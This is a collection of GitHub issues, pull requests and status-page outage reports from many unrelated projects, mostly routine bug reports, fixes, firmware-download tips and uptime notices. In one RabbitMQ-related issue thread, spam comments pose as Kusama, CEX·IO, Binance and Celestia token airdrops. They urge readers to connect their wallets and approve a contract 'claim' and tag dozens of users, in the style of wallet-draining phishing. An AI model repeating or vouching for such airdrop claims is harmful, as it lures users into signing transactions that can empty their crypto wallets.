text:
shader_get_uniform called for every render step

shader_get_uniform needs to be called only once - this reference does not change.
Remove from the draw method and make the uniform handles instance variables on the outline_drawer struct class.

Fixed in 1.3

repo: Grisgram/gml-outline-shader-drawer


text:
Add support for elysia 0.8

Hey @Gusb3ll , can you add support for elysia 0.8, the current version of elysia-compression is breaking in elysia 0.8

Same issue here, was wondering why cookies were not working and cors failing xD

If anyone is facing the same issue, here's how I fixed it for mine
import { Elysia } from "elysia";
import { gzipSync } from "bun";

export function compression() {
  return new Elysia({
    name: '@elysiaplugin/compression'
  }).mapResponse(({ response }) => {
    return new Response(
      gzipSync(
        typeof response === "object"
          ? JSON.stringify(response)
          : response.toString()
      )
    );
  });
}

Referenced from Official Elysia Docs: https://elysiajs.com/life-cycle/map-response.html#example
And then you can use it as a plugin middleware for your main app
app.use(compression())

source: gharchive/issue

authors: cupcakearmy shrinathprabhu

license: MIT

license_type: permissive

license_source: github-api


text:
Disable OTA for smaller devices, allowing for more customization

Is your feature request related to a problem? Please describe.
Trying to add audio libraries to openHASP, the application would no longer fit into the partition size allotted.
Describe the solution you'd like
Adding a configuration to disable OTA, switching the 4mb partition scheme to a NO_OTA version that offers more size for the application.
Describe alternatives you've considered
I tried alternative audio libraries, both made the application too large to fit.
I could also try to remove some other components, but I would not yet know where to start.
Additional context
Placing OTA related code and references in preprocessor statements could further reduce the applications sie.

[flash_4mb_no_ota]
board_upload.flash_size = 4MB
board_upload.maximum_size = 4194304
board_build.partitions = user_setups/esp32/partitions_4MB_NO_OTA.csv

# partitions_4MB_NO_OTA.csv
# Two application partitions of 1.687 MB
# 560 kB filesystem
#
# Name,   Type, SubType, Offset,  Size, Flags
nvs,      data, nvs,     36K,     20K,
otadata,  data, ota,     56K,     8K,
app0,     app,  ota_0,   64K,     3456K,
config,   data, nvs,     3520K,   16K,
spiffs,   data, spiffs,  3536K,   560K,

Got it building again, thanks fvanroie on Discord for suggesting this.

repo: HASwitchPlate/openHASP


text:
🛑 Orpheus is down

In 2ee5ff0, Orpheus ($OPS) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Orpheus is back up in d5d56f9.

repo: HDVinnie/TrackerHub


text:
🛑 SkipTheCommericals is down

In 93ef229, SkipTheCommericals ($STC) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheCommericals is back up in 6e23eca.


text:
🛑 SkipTheCommericals is down

In c65a4ad, SkipTheCommericals ($STC) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheCommericals is back up in fdfc6d5.


text:
🛑 SkipTheCommericals is down

In a048e5d, SkipTheCommericals ($STC) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheCommericals is back up in 483f8ad.


text:
⚠ AsianCinema has degraded performance

In 793bcf9, AsianCinema ($ACM) experienced degraded performance:

HTTP code: 200
Response time: 1298 ms

Resolved: AsianCinema performance has improved in b87ba67.


text:
🛑 SkipTheTrailers is down

In a4c5e13, SkipTheTrailers ($STT) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheTrailers is back up in 9563e94.


text:
🛑 SkipTheCommericals is down

In c3c1887, SkipTheCommericals ($STC) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheCommericals is back up in f5f5687.


text:
⚠ SceneTime has degraded performance

In a8bc73a, SceneTime ($ST) experienced degraded performance:

HTTP code: 200
Response time: 4627 ms

Resolved: SceneTime performance has improved in cf685fd after 8 minutes.


text:
🛑 Anthelion is down

In 535d9eb, Anthelion ($ATH) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Anthelion is back up in 1857649 after 5 minutes.


text:
⚠ Aither has degraded performance

In 2a6cf86, Aither ($AIH) experienced degraded performance:

HTTP code: 200
Response time: 1321 ms

Resolved: Aither performance has improved in 9155d89 after 6 minutes.


text:
🛑 SkipTheTrailers is down

In 4828010, SkipTheTrailers ($STT) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheTrailers is back up in 6f8d479.


text:
🛑 SkipTheCommericals is down

In 642c282, SkipTheCommericals ($STC) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheCommericals is back up in e2f5f19.


text:
⚠ PrivateHD has degraded performance

In c71824f, PrivateHD ($PHD) experienced degraded performance:

HTTP code: 200
Response time: 2040 ms

Resolved: PrivateHD performance has improved in 3b646bf.


text:
🛑 Telly is down

In 2bf7ed1, Telly ($TLY) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Telly is back up in 2b77a4f.


text:
🛑 Telly is down

In f170e55, Telly ($TLY) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Telly is back up in 3475c89.


text:
🛑 SkipTheCommericals is down

In 1b1124f, SkipTheCommericals ($STC) was down:

HTTP code: 0
Response time: 0 ms

Resolved: SkipTheCommericals is back up in 19b8335.


text:
🛑 Auth Server httpd is down

In 733d825, Auth Server httpd (https://auth.hpcs.cs.tsukuba.ac.jp) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Auth Server httpd is back up in 9179742 after 12 minutes.

repo: HPCSLab/upptime


text:
[BUG]

Describe the bug
Channel closed before receiving channelCloseOk response from the client.
To Reproduce

Declare an auto-delete exchange
Bind a queue with the exchange
Unbind the queue with the exchange
Publish and get a message to the exchange. The exchange was auto-deleted, and the server returns a not found exception, then the channel was closed.
Then re-create a channel, but at this time, the connection was already closed.

Expected behavior
Re-create channel success.
Screenshots
If applicable, add screenshots to help explain your problem.
Additional context
It was because handleAoPException close the channel immediately, but marked the channel awaiting close ok.
When a channel close request is sent from the server, the client would respond with a channelCloseOk frame, and the server should close the channel after processing the channelCloseOk frame.

Congratulations! You've receive in $2000 on Kusama Airdrop 🪂🔴
Kusama Airdrop: Claim up to $20,000 in Tokens Now!
→ Earn rewards on connect you wallet
→ Claim Your $KSM Today
Connect your wallet, follow the instructions, and claim this exclusive airdrop from Kusama. For GitHub users only—share with friends to make it eligible. Redeem your reward first.

🚀 Claim Your Bonus Now! Check Eligibility
Access the Kusama platform and connect your wallet securely. Ensure you're using a trusted wallet for the transaction.

🔗 Connect your wallet twice
📋 Register on the platform
💰 Claim your bonus, up to $2,000!
✨Magic ✨ Claim Your Bonus Now!

Congratulations! You've receive in $3,000 KSM Giveaway ($KSM) Airdrop 🪂🔴
CEX·IO is giving away $3,000 in $KSM coins, empowering you to take advantage of KSM staking on CEX·IO with 14% APY. Join the giveaway and earn a chance to win up to $500. Stake Kusama with CEX·IO, get high rewards and win prizes!
About
CEX·IO is a fully regulated multi-functional cryptocurrency exchange established in 2013, serving over 4 million customers worldwide. CEX·IO has been one of the first platforms to make fiat-to-crypto transactions accessible via bank transfers and to accept debit/credit card payments for crypto deposits and withdrawals to Visa or MasterCard.
→ How to join the $3,000 KSM Giveaway Airdrop?
Connect your wallet, follow the instructions, and claim this exclusive airdrop from Kusama. For GitHub users only—share with friends to make it eligible. Redeem your reward first.

Step-by-Step Guide ''CEX·IO Kusama Giveaway''
Access the Kusama platform and connect your wallet securely. Ensure you're using a trusted wallet for the transaction.

🔗 Use the connect method to interact with the contract
💰 Connect and receive your tokens
→ Claim Your $KSM Today

Binance Exclusive Token Giveaway
Welcome to the exclusive Binance Token Giveaway, where we're distributing over $1,100,000 in $BNB! 🚀 Don't miss out on this incredible opportunity to claim your free tokens. Here's a quick guide to kickstart your journey:

Seize the moment and indulge in your tokens! This limited-time offer won't be available forever. 🌐💰
Steps to Claim:
1. Share the Excitement on Twitter:

Spread the word about claiming your free tokens!

Tweet: Share this Token Drop

2. Connect Your Binance Wallet:

Click on the Connect Wallet button.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

3. Interact with the Contract:

Once your wallet is connected, go to Binance Rewards.
Click on the "Claim" button to interact with the smart contract.

4. Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

5. Share the Excitement Further:

After successfully claiming your tokens, share the news with friends!

Facebook: Share on Facebook

$BNB Airdrop: Claim Your $1000 in BNB Now!
🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @minatofund, @junghoon-vans, @astapchikartem, @dreamydragonstar, @awatin, @UsingMisz, @AlessioTrunfio

Celestia Airdrop - Claim Your Free TIA Tokens Now!

Don't Miss Out on Your Share of 60 Million $TIA Tokens!
Celestia, the revolutionary data availability network, is giving away a whopping 60 million $TIA tokens to the community! This is your chance to grab a piece of the action and secure your future in the crypto world.
How to Claim Your Free TIA Tokens:*
It's easy to get started and claim your free TIA tokens. Follow these simple steps:

Connect Wallet: Visit the Celestia Airdrop page and connect your wallet.
Claim: Click the Claim button to receive your tokens.
Interact: Engage with the provided smart contract to earn additional rewards.

Why Wait? Start Earning Today!
With Celestia, the sky's the limit. Don't let this opportunity slip through your fingers. Join the Celestia Airdrop now and kickstart your journey to financial freedom!gojopunk, @fettay, @shunkakinoki, @Rjju, @sumit-badsara, @fyfirman, @coopfeathy, @daylennguyen, @eddie333016, @SunnyKr77, @asadiqbalkhan, @emreaslan7, @suattop, @Loryo80, @m-habib, @paul-fg, @dynamicguy, @dyammarcano, @olayinkaokewale, @KenMan79

authors: 0xdorifto HScarb MatMarrr fede-s kusamanetworkss zazkdaniel

repo: HScarb/aop


text:
Improve UX of attempted login for admin users who have not confirmed email address

As an organization admin or site admin user who has not yet confirmed their email address, I get the following error page when trying to log in.

I think we should display page that is a little clearer. The current page makes it look like the application has crashed.

@tonysurma @dpaquette looks like this issue was fixed in PR and can be closed.

authors: digitaldrummerj dpaquette

repo: HTBox/allReady


text:
Vérification de ground truth pour DAHN

Je voudrais vérifier que les ground truth et le README que j'ai ajouté dans le repository du projet DAHN sont conformes à ce qui est attendu avant de l'ajouter comme repository dans HTR-United:
DAHN Corpus Ground truth

Je pense que pour le moment c'est bien. Je te ferai signe quand j'aurais le temps de me pencher sur la normalisation/structuration des descriptions et s'il faut ajouter des éléments.
Merci pour ta contribution ! :)
Je te propose d'ajouter la description de ton corpus dans https://github.com/HTR-United/htr-united/blob/master/htr-united.yml

authors: FloChiff alix-tz

repo: HTR-United/htr-united


text:
Handling unit discrepancies in key_map

Noticed this for the input .ayo files and EXOSIMS JSON, but is likely also present elsewhere in the key map.
Some of the keys represent the same value (i.e. the detector pixel scale) but AYO may define it in terms of arcseconds whereas EXOSIMS uses milliarcseconds. This can be even more complicated since for EXOSIMS you can sometimes specify what units are being provided via a key in the input JSON.
Need to think of a good way to handle/book keep this whether that's defining our own internal unit consistency that we transform all values to comply with or using a tool like astropy units.

I think assigning astropy units when loading them is probably the easiest way to book keep these. The ayo input loader parse the provided units into astropy and the EXOSIMS one should probably do the same since EXOSIMS is already set up with astropy in mind. It could be something where we have to add an "EXOSIMS_unit" column to the spreadsheet or something.

authors: CoreySpohn steigersg

repo: HWO-Yield-Visualizations/yieldplotlib


text:
Excel processing too slow

The Excel input uses the filesystem instead of memory so that it won't break on large files, but that makes it unacceptable slow for smaller files. Investigate options.

Improvements:

Don't copy the file if it's already on disk.
If we have a Content-length and it's <= 16MB, copy into memory instead of using a tempfile
Otherwise, use a tempfile as before

repo: HXLStandard/libhxl-python

license: unlicense

license_source: bigquery


text:
Removing old command-line interface

I confirmed with the other developers and it seems the command-line interface is no longer needed and in fact very much outdated, so let's remove it.

@tomwhite could you have a look?

Coverage increased (+16.8%) to 56.676% when pulling 1ae93253e667ea87f2aa3afb65ca1d5d283a1d1a on AndreSchumacher:remove_cli into 55c4af9d9a52ebdf7f933596ce432b673167944a on HadoopGenomics:master.

+1 from me. Can we remove CmdLineParser too?

I merged this and created a PR to remove CmdLineParser separately (https://github.com/HadoopGenomics/Hadoop-BAM/pull/84).

source: gharchive/pull-request

authors: AndreSchumacher coveralls tomwhite

repo: HadoopGenomics/Hadoop-BAM

license: mit


text:
How to download firmware for Leaf 3C ?

http://data.onyx-international.cn/api/firmware/update?where={"buildNumber":0,"buildType":"user","deviceMAC":"","lang":"zh_CN","model":"Leaf3C","submodel":"","fingerprint":"ONYX/BOOX/BOOX:11/RKQ1.210614.002/200:userdebug/release-keys"}

i'll try this link but it give 404 not found.

Is that the correct fingerprint? Just run that with "fingerprint":""
And you have a comma on the end.

@RenateUSB i use the adb shell getprop ro.build.fingerprint

@RenateUSB btw do you know any method to allow the chinese versions devices can switch the server of boox, currently it only allow me use the china one.

Yes, but that link will get you something when you don't include fingerprint.

Yes, but that link will get you something when you don't include fingerprint.

Ah, i try with
http://data.onyx-international.cn/api/firmware/update?where={%22buildNumber%22:0,%22buildType%22:%22user%22,%22deviceMAC%22:%22%22,%22lang%22:%22zh_CN%22,%22model%22:%22Leaf3C%22,%22submodel%22:%22%22,%22fingerprint%22:%22%22}

and it work... thanks god.

@RenateUSB btw do you know any method to allow the chinese versions devices can switch the server of boox, currently it only allow me use the china one.
@RenateUSB  do you have any idea with this, is there any file-system that i must modifer ?

No, I don't know anything about changing the Chinese frimware piecemeal.
If the hardware is identical to the global version you could probably flash that.

I think don't do it.  Even if the hardware is identical (which it may not be 100%), you could run into trouble with unalterable things like the MAC address (isn't that how Boox has updates that roll out unevenly?)... There could also be an efuse or something that isn't software.
If the idea of bricking your Boox doesn't bother you, go for it.  Probably just fetch the "Poke4Lite" firmware...
But I don't see any huge advantage to changing the software.  The only plus side would be you get to see the changelog in English when updating.  And you can get rid of WeChat-related bloat... but the English version will have some other crap too, wouldn't it?
That said, thank you for the method to get the fingerprint.  I didn't realize it was so easy...
BTW, you can use Linux or Windows as such (helps to see what version you'll download before actually downloading it):
curl -s --get --data-urlencode 'where={"buildNumber":0,"buildType":"user","deviceMAC":"","lang":"zh_CN","model":"Poke4","submodel":"","fingerprint":"Onyx/Poke4/Poke4:11/2024-03-09_10-12_3.5.1_9e7e86ef1/7961:user/dev-keys"}' 'http://en-data.onyx-international.cn/api/firmware/update'

A bit of squinting at the resulting JSON will tell you what version the link will fetch (and some additional JSON fields).  I've been fiddling with mine to try to get 3.5.3 but no luck yet... I actually have 3.5.3 on my Boox but despite editing the fingerprint, no joy yet.
And on a Linux box this can download the file (same as above but with a pipe to jq which processes the JSON to get a download link):
curl -s --get --data-urlencode 'where={"buildNumber":0,"buildType":"user","deviceMAC":"","lang":"zh_CN","model":"Poke4","submodel":"","fingerprint":"Onyx/Poke4/Poke4:11/2024-03-09_10-12_3.5.1_9e7e86ef1/7961:user/dev-keys"}' 'http://en-data.onyx-international.cn/api/firmware/update' | jq -r .downloadUrlList[0] | xargs curl --remote-name

Huh? We're talking Poke4? The 3.5.3 is an incremental update:
http://firmware.boox.com/d44fac2a875d020773fc0d47fcc3c707/update.upx

aaand, it looks like I was being dumb too.  The way to get the incremental update is exactly as I show above (using the un-updated fingerprint).
Just sharing my findings on how to get updates.  @hotrungnhan could fetch the Leaf3 full version (blank fingerprint) to totally replace their firmware with an English, if they choose to live dangerously.  I'm just comparing a bit because I too have a Chinese-version Boox and I really advise against trying to switching the firmware completely.  Doing it partially would break updates completely.

aaand, it looks like I was being dumb too. The way to get the incremental update is exactly as I show above (using the pre-update fingerprint). So, it's probably good to make note of fingerprints before updating as that is what is actually used to fetch the update.
Just sharing my findings on how to get updates. @hotrungnhan could fetch the Leaf3 full version (blank fingerprint) to totally replace their firmware with an English version, if they choose to live dangerously. I'm just comparing a bit because I too have a Chinese-version Boox and I really advise against trying to switching the firmware completely. Doing it partially would break updates completely.
I had actually used boot.img from the Poke4 Lite on my Poke4 (Chinese version) without realizing my mistake. I couldn't update until I replaced the boot.img with a proper Chinese one. And the hardware on those models is supposed to be identical.

no no no you not dump man, problem is the fingerprint, and key to extract the ota right ?
Why didn’t find a way to patch it in the system ?
Not only the boot partition, there so many partition you can patch when using edl mode ?
is that the onyx config partition, which contain fastboot fingerprint, and key for extract ota ?
https://www.reddit.com/r/Onyx_Boox/s/uZ3B2XUa5x

I'm giving up.  3.5.3 OTA file has an incremental boot.img file.  I can't seem to figure out how to merge the 3.5.3 Incremental update with the 3.5.1 full OTA to get a 3.5.3 boot.img - which is needed to safely root AND unroot the reader when it's time to do updates again.
I have too many other projects to do right to figure out EDL mode.  Also, my wife uses the Boox often so I can't afford to brick it just yet.

I'm giving up. 3.5.3 OTA file has an incremental boot.img file. I can't seem to figure out how to merge the 3.5.3 Incremental update with the 3.5.1 full OTA to get a 3.5.3 boot.img - which is needed to safely root AND unroot the reader when it's time to do updates again.
I have too many other projects to do right to figure out EDL mode. Also, my wife uses the Boox often so I can't afford to brick it just yet.

ah by right, how did you distingust between incremental boot.img vs normal one ?

How did you distinguish between incremental boot.img vs full one ? by size ?
Size is an indication, but an update can be partially incremental and partially full.
You have to look at the payload.bin
I'm not even sure of what model or update we're talking about here.
So what is it?

Leaf 3C after extract. Download from link below, is it full update ?

http://data.onyx-international.cn/api/firmware/update?where={%22buildNumber%22:0,%22buildType%22:%22user%22,%22deviceMAC%22:%22%22,%22lang%22:%22zh_CN%22,%22model%22:%22Leaf3C%22,%22submodel%22:%22%22,%22fingerprint%22:%22%22}
http://firmware.boox.com/aa38badc7f47f53dd08eab1bac4dad39/update.upx

A 5MB boot.img on 3.5.3 vs 100MB in the 3.5.1 payload.  So, yeah... pretty obvious it's an incremental update.  It would be better if it were missing entirely (unpacked with Payload Dumper Gui v2.3).  If the unzipped payload tops 3GB, it's probably a full image.

Here's how you do it if you only want to download 1 MB instead of 1.7 GB
C:\>curl http://firmware.boox.com/aa38badc7f47f53dd08eab1bac4dad39/update.upx -r 0-1048575 -o update.upx

C:\>DeBooxUpx.py Leaf3C
Saved decrypted file to update.zip

C:\>copy update.zip p.bin

C:\>findtext p.bin CrAU
0000025a CrAU

C:\>modfile /s p.bin 25a

C:\>paydump p.bin /v
Partition        New    Operations
--------------  ------  ----------------------------------------
abl              148 k  REPLACE_XZ[1]
boot            96.0 M  REPLACE[4], REPLACE_XZ[16], REPLACE_BZ[28]
dtbo            8.00 M  REPLACE_XZ[1], REPLACE_BZ[3]
modem           38.6 M  REPLACE_XZ[20]
product          503 M  REPLACE[6], REPLACE_XZ[245], REPLACE_BZ[1]
recovery        96.0 M  REPLACE[4], REPLACE_XZ[20], REPLACE_BZ[24]
system          1.96 G  REPLACE[65], REPLACE_XZ[927], REPLACE_BZ[12]
system_ext       273 M  REPLACE[12], REPLACE_XZ[125]
vbmeta          8.00 k  REPLACE_XZ[1]
vbmeta_system   4.00 k  REPLACE_XZ[1]
vendor           490 M  REPLACE[1], REPLACE_XZ[243], REPLACE_BZ[1]
xbl             3.03 M  REPLACE_XZ[2]

So, yes, this is a full update (of some partitions).

Do you have any book or things that have firmware/partition/boot knowledge like this ?

https://android.googlesource.com/platform/system/update_engine/+/refs/heads/main/update_metadata.proto

authors: RenateUSB hotrungnhan trip5

repo: Hagb/decryptBooxUpdateUpx

license: WTFPL


text:
Update README.md

Kết Quả Học Tập
Trong mô đun này, bạn sẽ có thể:

Lập Kế Hoạch và Quản Lý Giải Pháp Azure AI:

Hiểu cách lập kế hoạch và triển khai các giải pháp AI trên nền tảng Azure.
Quản lý tài nguyên và tối ưu hóa chi phí cho các dịch vụ AI.

Triển Khai Các Giải Pháp Hỗ Trợ Quyết Định:

Sử dụng AI để phân tích dữ liệu và đưa ra các quyết định kinh doanh thông minh.
Tích hợp các mô hình học máy để cải thiện quy trình ra quyết định.

Triển Khai Các Giải Pháp Thị Giác Máy Tính:

Ứng dụng công nghệ nhận diện hình ảnh và video trong các dự án thực tế.
Sử dụng Azure Cognitive Services để phát triển các giải pháp thị giác máy tính.

Triển Khai Các Giải Pháp Xử Lý Ngôn Ngữ Tự Nhiên:

Phát triển các ứng dụng xử lý ngôn ngữ tự nhiên (NLP) như chatbot, phân tích cảm xúc.
Sử dụng các công cụ và dịch vụ NLP trên Azure để xây dựng và triển khai mô hình.

Triển Khai Các Giải Pháp Khai Thác Kiến Thức và Trí Tuệ Tài Liệu:

Sử dụng AI để khai thác và phân tích thông tin từ tài liệu và dữ liệu không cấu trúc.
Tích hợp các công nghệ khai thác kiến thức để cải thiện quy trình làm việc và quản lý thông tin.

Triển Khai Các Giải Pháp AI Tạo Sinh:

Phát triển các ứng dụng AI tạo sinh như tạo văn bản, hình ảnh, âm thanh.
Sử dụng các mô hình AI tiên tiến để tạo ra các nội dung sáng tạo và độc đáo.

Mục Tiêu Học Tập

Nắm vững kiến thức về các giải pháp AI trên Azure.
Phát triển kỹ năng lập kế hoạch và triển khai các dự án AI thực tế.
Ứng dụng công nghệ AI để giải quyết các vấn đề kinh doanh và kỹ thuật.

Nội Dung Mô Đun

Giới thiệu về Azure AI và các dịch vụ liên quan.
Hướng dẫn lập kế hoạch và quản lý tài nguyên AI trên Azure.
Các phương pháp và công cụ để triển khai các giải pháp hỗ trợ quyết định.
Ứng dụng thị giác máy tính và xử lý ngôn ngữ tự nhiên trong thực tế.
Khai thác kiến thức từ dữ liệu không cấu trúc và tài liệu.
Phát triển các giải pháp AI tạo sinh và ứng dụng thực tế.

Hy vọng mô đun này sẽ giúp bạn phát triển kiến thức và kỹ năng cần thiết để triển khai các giải pháp AI hiệu quả và sáng tạo trên nền tảng Azure!

https://github.com/Haidangmeta/python-main.py.gitignore.git

git@github.com:Haidangmeta/python-main.py.gitignore.git


text:
NPC Voiceline Bug

Hello,
I downloaded all that is required for this mod to work on Scarab and the menu, charms, enemy description etc. all work except for NPC voicelines. I have noticed a couple of people who have come across the same issue in July 2023, however there is no apparent fix for it unfortunately.
Is there a way to fix this? Or is it an update issue, because I have also tried across multiple files and reinstalling the mod(s).
As a note, when I turn on the autoscroll, it does not work - from my understanding the mod itself for NPCs are not working?

Make sure your computer's default language is set to English. If the issue persists message us in the discord

authors: Ccmaci KROVP


text:
outdated steam_api.dll in gmod, breaking callbacks.

Just a hunch, but the dll provided by Garry's Mod dates back to May 2013, possibly before everything in the Steam API used the asynchronous callbacks. This could explain why the call result for CLobbyCreated isn't working.

Try and replace the steam_api.dll or force GMod to load a newer one.

Steam_RegisterInterfaceFuncs


text:
TabControl嵌套使用时内部TabControl行为不正确

Describe the bug
TabControl嵌套使用时，内部tab会随着外部tab的切换而切换
Steps to reproduce the bug
1、嵌套使用TabControl，且至少包含两个tabItem
2、使用样式Style="{StaticResource TabControlInLine}"
3、重复切换外部tab即可看到内部tab的异常行为
Expected behavior
切换外部tab时保留内部选择的tab
Screenshots
No response
NuGet package version
HandyControl 3.4.0
IDE
Visual Studio 2022
Framework type
.Net 6.0
Windows version
Windows 11 (22000)
Additional context
No response

该问题在3.5.1版本中依然存在。

authors: DongLinZhu jzjwonderful

repo: HandyOrg/HandyControl


text:
使用 Trigger 替代 DataTrigger

试了，还能跑

我一定是喝了假酒

authors: NaBian walterlv


text:
Downgrade to SDK 19 and add a degree suffix to weather temperature (also fix up docs).

Tested on HP Touchpad CM11 (KitKat 4.4.2) and Nexus 5 Lollipop emulator.
Doesn't look like there was any SDK 21 requirements for the project.

Was there an issue with compiling against SDK 21?

Compiling against SDK 21 was fine. I had a runtime conflict when deploying to a Cynanogen Mod 11 device. SDK 19 worked for both old devices and newer devices.  There's quite a few Kitkat 4.4 devices out there that could work well with this project.

The min SDK is 14. Unfortunately I don't have a KitKat device on hand, but it should install fine on KitKat.
I'd rather compile against a modern SDK version. Could you fix any conflicts with CyanogenMod instead?

authors: HannahMitt pselvana

repo: HannahMitt/HomeMirror


text:
🛑 Main is down

In 85680d8, Main (https://premid.app) was down:

HTTP code: 502
Response time: 403 ms

Resolved: Main is back up in bff35c5.


text:
🛑 Assets server is down

In f0d221c, Assets server (https://assets.scratch.mit.edu) was down:

HTTP code: 503
Response time: 1474 ms

Resolved: Assets server is back up in 161a803 after 4 minutes.


text:
🛑 German is down

In 283f61d, German (https://de.scratch-wiki.info) was down:

HTTP code: 508
Response time: 1643 ms

Resolved: German is back up in 46c7df3 after 41 minutes.


text:
🛑 Test is down

In 75472ea, Test (https://test.scratch-wiki.info) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Test is back up in 3fc3b83 after 12 minutes.


text:
Remove redundant assignment

This pull request removes a redundant assignment of key_state.pressed to true in the process_key_action_tap function. The assignment is unnecessary as the condition already checks if the key state is pressed.

thanks :D

authors: HaoboGu lonesometraveler

repo: HaoboGu/rmk


text:
🛑 AI对话 is down

In 8fb935d, AI对话 (https://haoqi7-question.hf.space/) was down:

HTTP code: 503
Response time: 76 ms

Resolved: AI绘画 is back up in 0b511d2.


text:
🛑 AI对话 is down

In 24747ee, AI对话 (https://haoqi7-question.hf.space/) was down:

HTTP code: 503
Response time: 48 ms

Resolved: AI绘画 is back up in e4feadf after 196 days, 14 hours, 27 minutes.


text:
🛑 AI对话 is down

In dc3141f, AI对话 (https://haoqi7-question.hf.space/) was down:

HTTP code: 503
Response time: 37 ms

Resolved: AI绘画 is back up in 51c439c after 196 days, 19 hours, 14 minutes.


text:
🛑 Happy Vibes Bot 4 is down

In 96f0196, Happy Vibes Bot 4 ($BOT4) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Happy Vibes Bot 4 is back up in 5342b85.

repo: Happy-Vibes-Bot/status


text:
🛑 Happy Vibes Bot 5 is down

In 38b1fca, Happy Vibes Bot 5 ($BOT5) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Happy Vibes Bot 5 is back up in c0a4c80.


text:
🛑 Happy Vibes Bot 2 is down

In abab751, Happy Vibes Bot 2 ($BOT2) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Happy Vibes Bot 2 is back up in b8beac3.


text:
🛑 Happy Vibes Bot 2 is down

In 2ca753e, Happy Vibes Bot 2 ($BOT2) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Happy Vibes Bot 2 is back up in 553e00c after 25 minutes.


text:
Funciones comentadas y bien organizadas

He comentado todas las funciones
He organizado bien el código separando las cosas en bloques comentados para que sea intuitivo
He usado el mismo estilo de comentarios en todas las funciones
He tratado de corregir diferencias en estilo (uso de mayúsculas y minúsculas, por ejemplo) en las funciones y mantener la misma estructura (orden al hacer las cosas, estructura de excepciones...)
Además, aprovechando que he trasladado todo a mi VM he probado de nuevo todas las funciones
Mantened la misma estructura y organización en adelante.

Ya arreglé el problema #92 voy a mirar si hay algún problema más

En borrar usuario puede borrarse el usuario (CASCADE) y existe el remoto caso de que no se pueda borrar de la tabla. En este caso he puesto un mensaje de error diciendo que eso ha ocurrido porque no sé cómo rescatar a ese usuario. Le he dicho que contacte con el admin para que lo borre a mano

@AlvaroFaure @steveomatic @FelipeSulser Listo para revisión!

authors: AlvaroFaure HaritzPuerto

repo: HaritzPuerto/ProjectDBA


text:
smooth brush strokes

the brush strokes are not smooth, when the pointStep is 1 or less. How do you make the strokes smooth on the edges of the lines?

@abrpatel Avoid using opaque textures, and make a gradient effect on the edge of your texture,  this will reduce the aliasing.

could you provide an example?

create a brush with the image below, you can draw a smooth and solid line.

wow that worked. I'm trying to create a brush with the same properties, but can't replicate it. Could you either point to tutorial or give what alpha values and gradient settings you used to create the image above.
Thank You!

@abrpatel Above image is created by Photoshop. I just created a dot with gradient from black to clear, and the transparent of layer to 90%.

Amazing! Thank You!!

authors: Harley-xk abrpatel

repo: Harley-xk/MaLiang


text:
[Help] 🤔 Docker部署，用脚本登录之后画图无法显示

Confirmations

[X] 我确认我已经仔细阅读了 Wiki, 并且已经搜索了已有的 issue, 并没有类似问题。

Describe the help wanted
vps上Docker部署，用脚本登录之后图像无法显示，需要跳转到图像生成器页面才能看见，用的最新版本
Steps to behave
vps上Docker部署，用脚本登录之后图像无法显示，需要跳转到图像生成器页面才能看见，用的最新版本
Expected behavior
可以在主页中默认显示图片，不跳转
Screenshots
No response
Deploy
Docker
OS & Version
Ubuntu 22.04
Browser & Version
Chrome
GoProxiBingAI Version
v2.0.3
Additional context
No response

详细描述，否则关闭

应该是caddy配置不当引起的，用了大佬的nginx配置替换了，关闭issue！
感谢大佬的项目，飒 的很啊

authors: Harry-zklcdc ixxmu

repo: Harry-zklcdc/go-proxy-bingai


text:
Edwin

Autorizado!!

aprobado


text:
Add Cloudwatch RUM

This PR adds Cloudwatch Real User Monitoring (RUM). This is in order to get a better idea of what's happening on the client side, including a better picture of what errors might be happening. We'll likely need to fine-tune the RUM config over time to get exactly what we need but hopefully this can get us started.

@Tanvez I'd love to get your input -- in particular I wasn't totally sure whether main.tsx was the right place to add the AWS code (though it does seem to work).

According to this blog around RUM and React installation, they do reference app.tsx as the location where RUM would be initialized.
It looks like they put RUM in app.tsx since that is where the routes are created and an additional parent component ErrorBoundary surrounding the routes. ErrorBoundary is acting as some sort of logger for RUM via this command awsRum.recordError(error);

@Tanvez I moved the RUM code to App.tsx (which I hope is equivalent to app.tsx). I couldn't find something that looks like the <Routes> block in the example above, but I did notice that at least some errors are being recorded in the RUM console without that.  I'm inclined to go forward as is and adjust if necessary in the future.

authors: Tanvez cmurtaugh

repo: Harvard-University-iCommons/chainlit


text:
DB connection improvment

pass options from process.env.MONGODB_OPTIONS.
code improvement.

@AndreLion are you referring to this ?

@AndreLion are you referring to this ?

yes, will provide PR later.

Hi @mrzapp , PR #276 is ready for review.

authors: AndreLion mrzapp

repo: HashBrownCMS/hashbrown-cms


text:
unix.cpp does not build

unix.cpp: In function ‘int main(int, const char**)’:
unix.cpp:31:13: error: ‘strcmp’ was not declared in this scope
   31 |         if (strcmp(argv[1], "help") == 0){
